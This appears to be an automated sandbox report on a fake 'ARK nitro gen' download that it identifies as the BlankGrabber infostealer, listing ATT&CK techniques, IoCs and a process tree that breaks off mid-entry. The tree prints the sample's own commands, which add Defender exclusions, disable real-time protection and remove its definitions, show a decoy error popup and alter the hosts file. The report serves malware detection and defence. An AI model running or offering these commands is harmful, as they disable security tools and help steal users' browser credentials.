blankgrabber | hxxps://github[.]com/cloakzdev/nitro-gen

Analysis

user interaction
yes
max time kernel
25s
max time network
33s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
12/07/2026, 04:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://github.com/cloakzdev/nitro-gen
Sample260712-e85ajaey4y

Score

10^/10

defense_evasion discovery execution blankgrabber spyware stealer upx

Malware Config

Signatures

Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
stealer blankgrabber

A stealer written in Python and packaged with Pyinstaller 1 IoCs

resource	yara_rule
behavioral1/files/0x000b00000001ed89-399.dat	blankgrabber_exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5752	powershell.exe
6040	powershell.exe
5676	powershell.exe
5860	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5752	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5724	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe

Loads dropped DLL 16 IoCs

pid	Process
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe
5976	ARK nitro gen [updated].exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
88	raw.githubusercontent.com
77	raw.githubusercontent.com
78	raw.githubusercontent.com
85	raw.githubusercontent.com
86	raw.githubusercontent.com

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
5696	tasklist.exe
5924	tasklist.exe
5904	tasklist.exe

UPX packed file 43 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000300000001e440-437.dat	upx
behavioral1/memory/5976-441-0x00007FFD872E0000-0x00007FFD87746000-memory.dmp	upx
behavioral1/files/0x0023000000023929-446.dat	upx
behavioral1/memory/5976-464-0x00007FFD92A80000-0x00007FFD92A8F000-memory.dmp	upx
behavioral1/memory/5976-463-0x00007FFD89C50000-0x00007FFD89C74000-memory.dmp	upx
behavioral1/files/0x0003000000023274-462.dat	upx
behavioral1/files/0x000200000002326f-461.dat	upx
behavioral1/files/0x000200000002326e-460.dat	upx
behavioral1/files/0x000200000002326c-469.dat	upx
behavioral1/files/0x0007000000024723-475.dat	upx
behavioral1/files/0x0007000000024722-478.dat	upx
behavioral1/files/0x0049000000023934-484.dat	upx
behavioral1/memory/5976-487-0x00007FFD872E0000-0x00007FFD87746000-memory.dmp	upx
behavioral1/memory/5976-486-0x00007FFD89420000-0x00007FFD894D8000-memory.dmp	upx
behavioral1/memory/5976-485-0x00007FFD86F60000-0x00007FFD872D5000-memory.dmp	upx
behavioral1/files/0x0003000000023921-483.dat	upx
behavioral1/memory/5976-482-0x00007FFD89B00000-0x00007FFD89B2E000-memory.dmp	upx
behavioral1/memory/5976-481-0x00007FFD8D300000-0x00007FFD8D30D000-memory.dmp	upx
behavioral1/memory/5976-480-0x00007FFD89C00000-0x00007FFD89C19000-memory.dmp	upx
behavioral1/memory/5976-476-0x00007FFD896A0000-0x00007FFD8981D000-memory.dmp	upx
behavioral1/memory/5976-474-0x00007FFD8AB20000-0x00007FFD8AB3F000-memory.dmp	upx
behavioral1/memory/5976-473-0x00007FFD8ABC0000-0x00007FFD8ABD8000-memory.dmp	upx
behavioral1/memory/5976-472-0x00007FFD89C20000-0x00007FFD89C4C000-memory.dmp	upx
behavioral1/files/0x000600000002263f-470.dat	upx
behavioral1/files/0x000200000002326d-459.dat	upx
behavioral1/files/0x000200000002326b-457.dat	upx
behavioral1/files/0x000200000002326a-456.dat	upx
behavioral1/files/0x0007000000024724-454.dat	upx
behavioral1/files/0x0002000000023261-444.dat	upx
behavioral1/memory/5976-500-0x00007FFD89AD0000-0x00007FFD89ADD000-memory.dmp	upx
behavioral1/memory/5976-499-0x00007FFD89AE0000-0x00007FFD89AF5000-memory.dmp	upx
behavioral1/memory/5976-498-0x00007FFD89C50000-0x00007FFD89C74000-memory.dmp	upx
behavioral1/memory/5976-505-0x00007FFD8AB20000-0x00007FFD8AB3F000-memory.dmp	upx
behavioral1/memory/5976-504-0x00007FFD89300000-0x00007FFD89418000-memory.dmp	upx
behavioral1/memory/5976-508-0x00007FFD896A0000-0x00007FFD8981D000-memory.dmp	upx
behavioral1/memory/5976-608-0x00007FFD89C00000-0x00007FFD89C19000-memory.dmp	upx
behavioral1/memory/5976-618-0x00007FFD89B00000-0x00007FFD89B2E000-memory.dmp	upx
behavioral1/memory/5976-633-0x00007FFD86F60000-0x00007FFD872D5000-memory.dmp	upx
behavioral1/memory/5976-634-0x00007FFD89420000-0x00007FFD894D8000-memory.dmp	upx
behavioral1/memory/5976-645-0x00007FFD89C50000-0x00007FFD89C74000-memory.dmp	upx
behavioral1/memory/5976-650-0x00007FFD896A0000-0x00007FFD8981D000-memory.dmp	upx
behavioral1/memory/5976-649-0x00007FFD8AB20000-0x00007FFD8AB3F000-memory.dmp	upx
behavioral1/memory/5976-644-0x00007FFD872E0000-0x00007FFD87746000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4776	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Kills process with taskkill 22 IoCs

defense_evasion

pid	Process
2628	taskkill.exe
3892	taskkill.exe
5944	taskkill.exe
5212	taskkill.exe
2452	taskkill.exe
5288	taskkill.exe
4620	taskkill.exe
5904	taskkill.exe
1728	taskkill.exe
1528	taskkill.exe
2368	taskkill.exe
4320	taskkill.exe
1032	taskkill.exe
5668	taskkill.exe
2888	taskkill.exe
1480	taskkill.exe
2628	taskkill.exe
5452	taskkill.exe
4060	taskkill.exe
5152	taskkill.exe
6136	taskkill.exe
2828	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134283046907686563"	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2370214745-1838013427-2987045292-1000\{44B34F19-2568-4A5E-BA32-03FE661162A8}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings	7zFM.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5752	powershell.exe
5752	powershell.exe
5676	powershell.exe
5676	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5432	7zFM.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeRestorePrivilege	5432	7zFM.exe
Token: 35	5432	7zFM.exe
Token: SeSecurityPrivilege	5432	7zFM.exe
Token: SeSecurityPrivilege	5432	7zFM.exe
Token: SeDebugPrivilege	5696	tasklist.exe
Token: SeDebugPrivilege	5924	tasklist.exe
Token: SeDebugPrivilege	5860	powershell.exe
Token: SeDebugPrivilege	5676	powershell.exe
Token: SeDebugPrivilege	5752	powershell.exe

Suspicious use of FindShellTrayWindow 45 IoCs

pid	Process
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
5432	7zFM.exe
5432	7zFM.exe
5432	7zFM.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe
2044	msedge.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2044 wrote to memory of 4580	2044	msedge.exe	85
PID 2044 wrote to memory of 4776	2044	msedge.exe	86
PID 2044 wrote to memory of 3212	2044	msedge.exe	87
PID 2044 wrote to memory of 3212	2044	msedge.exe	87
PID 2044 wrote to memory of 3212	2044	msedge.exe	87
PID 2044 wrote to memory of 1636	2044	msedge.exe	88
PID 2044 wrote to memory of 1636	2044	msedge.exe	88
PID 2044 wrote to memory of 552	2044	msedge.exe	89
PID 2044 wrote to memory of 4984	2044	msedge.exe	90
PID 2044 wrote to memory of 552	2044	msedge.exe	89
PID 2044 wrote to memory of 552	2044	msedge.exe	89
PID 2044 wrote to memory of 4984	2044	msedge.exe	90
PID 2044 wrote to memory of 4984	2044	msedge.exe	90
PID 2044 wrote to memory of 1428	2044	msedge.exe	92
PID 2044 wrote to memory of 4320	2044	msedge.exe	93
PID 2044 wrote to memory of 1428	2044	msedge.exe	92
PID 2044 wrote to memory of 1428	2044	msedge.exe	92
PID 2044 wrote to memory of 4320	2044	msedge.exe	93
PID 2044 wrote to memory of 4320	2044	msedge.exe	93
PID 2044 wrote to memory of 4380	2044	msedge.exe	97
PID 2044 wrote to memory of 4380	2044	msedge.exe	97
PID 2044 wrote to memory of 3052	2044	msedge.exe	98
PID 2044 wrote to memory of 3052	2044	msedge.exe	98
PID 2044 wrote to memory of 3648	2044	msedge.exe	102
PID 2044 wrote to memory of 1188	2044	msedge.exe	109
PID 2044 wrote to memory of 1188	2044	msedge.exe	109
PID 2044 wrote to memory of 2972	2044	msedge.exe	110
PID 2044 wrote to memory of 2972	2044	msedge.exe	110
PID 2044 wrote to memory of 2972	2044	msedge.exe	110
PID 2044 wrote to memory of 3496	2044	msedge.exe	112
PID 5432 wrote to memory of 5724	5432	7zFM.exe	118
PID 5724 wrote to memory of 5976	5724	ARK nitro gen [updated].exe	120
PID 5976 wrote to memory of 1136	5976	ARK nitro gen [updated].exe	121
PID 5976 wrote to memory of 1476	5976	ARK nitro gen [updated].exe	122
PID 5976 wrote to memory of 2340	5976	ARK nitro gen [updated].exe	123
PID 5976 wrote to memory of 5348	5976	ARK nitro gen [updated].exe	127
PID 5432 wrote to memory of 1416	5432	7zFM.exe	129
PID 5976 wrote to memory of 3728	5976	ARK nitro gen [updated].exe	130
PID 5976 wrote to memory of 3772	5976	ARK nitro gen [updated].exe	131
PID 5348 wrote to memory of 5676	5348	cmd.exe	134
PID 2340 wrote to memory of 5704	2340	cmd.exe	135
PID 1476 wrote to memory of 5752	1476	cmd.exe	136
PID 1136 wrote to memory of 5860	1136	cmd.exe	137
PID 3728 wrote to memory of 5696	3728	cmd.exe	138
PID 3772 wrote to memory of 5924	3772	cmd.exe	139

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4416	attrib.exe
5116	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/cloakzdev/nitro-gen
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x24c,0x7ffd8cfdc188,0x7ffd8cfdc194,0x7ffd8cfdc1a0
  2⤵
  PID:4580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1944,i,2300572126478301626,11207843877846334540,524288 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1736,i,10527628779872281509,894159252002621846,262144 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:2
  2⤵
  PID:3212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2596,i,9407860472890236768,13629451134483444040,524288 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=2756 /prefetch:8
  2⤵
  PID:1636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3416,i,11552970323357117559,11338596369183205969,2097152 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3420,i,12214926577882180802,7830288659982272768,2097152 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
  2⤵
  PID:4984
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4180,i,13417013765569336688,14931698182188730561,2097152 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:1
  2⤵
  PID:1428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4192,i,15221179489204348596,13298974905232748927,2097152 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:2
  2⤵
  PID:4320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5008,i,17709685364795856975,9465704029107293403,524288 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:8
  2⤵
  PID:4380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5132,i,15416703520097589210,13716023670905326707,524288 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:8
  2⤵
  PID:3052
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5892,i,9454981155283856868,18170314295127317199,524288 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:8
  2⤵
  PID:2492
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5892,i,9454981155283856868,18170314295127317199,524288 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:8
  2⤵
  PID:3648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6420,i,7385997072528850231,7366977101200694566,524288 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:8
  2⤵
  PID:1188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6312,i,328237616543334935,11082732828505946991,2097152 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:1
  2⤵
  PID:2972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6788,i,4987275950114676743,17155271729261218392,524288 --field-trial-handle=2280,i,2156515751905925664,12725719099462296230,262144 --variations-seed-version --mojo-platform-channel-handle=6380 /prefetch:8
  2⤵
  PID:3496

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2096

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5344

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\ARK nitro gen v5.rar"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5432
- C:\Users\Admin\AppData\Local\Temp\7zO83567BC8\ARK nitro gen [updated].exe
  "C:\Users\Admin\AppData\Local\Temp\7zO83567BC8\ARK nitro gen [updated].exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5724
- - C:\Users\Admin\AppData\Local\Temp\7zO83567BC8\ARK nitro gen [updated].exe
    "C:\Users\Admin\AppData\Local\Temp\7zO83567BC8\ARK nitro gen [updated].exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:5976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7zO83567BC8\ARK nitro gen [updated].exe'"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1136
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7zO83567BC8\ARK nitro gen [updated].exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1476
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5752
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please download the correct verison for your windows', 0, 'failed to load!', 48+16);close()""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2340
    - - C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please download the correct verison for your windows', 0, 'failed to load!', 48+16);close()"
        5⤵
        
        PID:5704
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ ‌ .scr'"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5348
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ ‌ .scr'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5676
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3728
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3772
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5924
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
      4⤵
      PID:1844
    - - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        5⤵
        
        PID:5128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:2844
    - - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        5⤵
        Views/modifies file attributes
        
        PID:4416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:3004
    - - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        5⤵
        Views/modifies file attributes
        
        PID:5116
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:6088
    - - C:\Windows\system32\tasklist.exe
        
